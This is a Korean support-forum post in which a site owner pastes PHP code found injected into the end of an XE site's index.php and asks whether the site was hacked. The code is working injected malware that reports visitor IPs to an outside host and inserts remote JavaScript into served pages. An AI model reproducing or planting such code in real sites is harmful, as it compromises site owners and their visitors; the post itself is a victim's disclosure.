묻고답하기

  2. Support
  3. 묻고답하기

XE 해킹일까요?

2014.04.24 21:55

CEO송선생

index.php파일 최하단에

 


#af7fbf#
if (empty($sehbv)) {

    error_reporting(0);

    @ini_set('display_errors', 0);

    if (!function_exists('__url_get_contents')) {

        function __url_get_contents($remote_url, $timeout)

        {

            if (function_exists('curl_exec')) {

                $ch = curl_init();

                curl_setopt($ch, CURLOPT_URL, $remote_url);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds

                $_url_get_contents_data = curl_exec($ch);

                curl_close($ch);

            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {

                $ctx = @stream_context_create(array('http' =>

                    array(

                        'timeout' => $timeout,

                    )

                ));

                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);

            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

                $handle = @fopen($remote_url, "r");

                $_url_get_contents_data = @stream_get_contents($handle);

            } else {

                $_url_get_contents_data = __file_get_url_contents($remote_url);

            }

            return $_url_get_contents_data;

        }

    }

    if (!function_exists('__file_get_url_contents')) {

        function __file_get_url_contents($remote_url)

        {

            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',

                $remote_url, $matches)

            ) {

                $protocol = strtolower($matches[1]);

                $host = $matches[2];

                $path = $matches[3];

            } else {

                // Bad remote_url-format

                return FALSE;

            }

            if ($protocol == "http") {

                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);

            } else {

                // Bad protocol

                return FALSE;

            }

            if (!$socket) {

                // Error creating socket

                return FALSE;

            }

            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

            $len_written = @fwrite($socket, $request);

            if ($len_written === FALSE || $len_written != strlen($request)) {

                // Error sending request

                return FALSE;

            }

            $response = "";

            while (!@feof($socket) &&

                ($buf = @fread($socket, 4096)) !== FALSE) {

                $response .= $buf;

            }

            if ($buf === FALSE) {

                // Error reading response

                return FALSE;

            }

            $end_of_header = strpos($response, "\r\n\r\n");

            return substr($response, $end_of_header + 4);

        }

    }

 

    if (empty($__var_to_echo) && empty($remote_domain)) {

        $_ip = $_SERVER['REMOTE_ADDR'];

        $sehbv = "http://www.processnet.com.ar/good_job/yWXjwvJc.php";

        $sehbv = __url_get_contents($sehbv."?a=$_ip", 1);

        if (strpos($sehbv, 'http://') === 0) {

            $__var_to_echo = '<script type="text/javascript" src="' . $sehbv . '?id=12328198"></script>';

            echo $__var_to_echo;

        }

    }

}
#/af7fbf#

 

 

 

사이트 접속이 되다 말다 그러고 페이지를 찾을 수 없습니다 빈도가 상당히 잦아 서버를 재부팅 해봤으나 증상은 동일하여 FTP를 열었더니..

 

위와같은 소스가 들어있었습니다.

업로드 한적이 없었음에도 불구하고 위의 소스가 들어가있고

업로드시간은 4월 24일 5시 40분 자로 표시되어있네요..

다시 원래 XE 의 기본 php 파일을 올렸으나 속도 문제는 해결 되지 않네요.

 

무섭습니다. 어떻게 해야할까요?

이 게시물을
Profile
좋아요
목록
글쓴이 제목 최종 글
XE 공지 글 쓰기,삭제 운영방식 변경 공지 [16] 2019.03.05 by 남기남
패러독스 echo 문에서 '' 와 " 의 차이를 알고 싶습니다. [4] 2007.08.10
SaInt_Koyo™ 검색 폼에 이미지또는 글씨 나타내기?!? [2] 2007.08.10
패러독스 PHP 에서의 수치관련 메서드를 조금 알고싶습니다. [1] 2007.08.10
루이스여왕 포토샵에서 04b24로 글씨를 쓰는데 none으로 하니 깨집니다. [2] 2007.08.10
샤이농 음악 링크시에 말예요...  
Kuldahar 쉬프트키 방지하는 방법좀 알려주세요. [4] 2007.08.10
호야~♡ 게시판과 여백을 없애는방법좀 알려주세요  
hark 이런 버튼을 만들고 싶은데요..^^ [1] 2007.08.10
위버 레이어 서브메뉴 고정 시키는법 아시는분 [1] 2007.08.10
지키리 정해진 시간 후에 뜨는 팝업창 있나요? [1] 2007.08.10
쮸쮸봉 플래쉬메뉴 만들때.. [3] 2007.08.10
권수원 고수님 PHP소스 수정할려고 하는데... [2] 2007.08.10
백향목 노프레임에 bgm을 연결할려면!!? [2] 2007.08.10
king 동영상 제어방법이..??  
민종식 mysql 어드미니스터를 실행하면 다음과 같이 에러가 나는데? [3] 2007.08.10
LEONATO 포토샵에서 레이어 지우는 단축키 있나요? [1] 2007.08.10
LEiTi 어느정도 수정이 되었지만.... 출력될 때 숫자 1 까지 출력 되더라구요..1을 출력안하고 그다음부터 출력 하는 방법 좀 알려주세요,. [2] 2007.08.10
패러독스 DB Table에 없는 필드를 새로 추가하려면 어떻게 하지요? [4] 2007.08.10
MaSiMaRo 잘되던 제로카운터가 에러가 납니다.....ㅠㅠ [1] 2007.08.10
이쁜미정이 넘 궁금한 질문이여~~~ [1] 2007.08.10
idiotes 스위시를 배워야 하는지... [1] 2007.08.10
걸러리 php file에서 읽어온 변수값비교 질문입니다. [3] 2007.08.10
황현 로그인 관련... 질문입니다. [1] 2007.08.10
[유아독존] 제가 개인서버 설치하다가 실수를 했는데.. 답변좀 부탁드립니다 [3] 2007.08.10
Enter 급한 질문이 있습니다. 도와주세요. [1] 2007.08.10
현이 PHP프로그램에서 키보드의 프린터스크린 제어하는 방법좀 알려주세요 [2] 2007.08.10
지심이 폼에서 php로 값을 넘겨 줄려면 어떻게 해야하나요? [3] 2007.08.10
mey 일정시간 후 DB 내용 삭제가 가능한가요? [5] 2007.08.10
fastin access 파일 내용을 MySQL 로 이전하는 질문입니다. [2] 2007.08.10
MaSiMaRo 제로카운터가 되지 않습니다. [1] 2007.08.10
태그 쓰기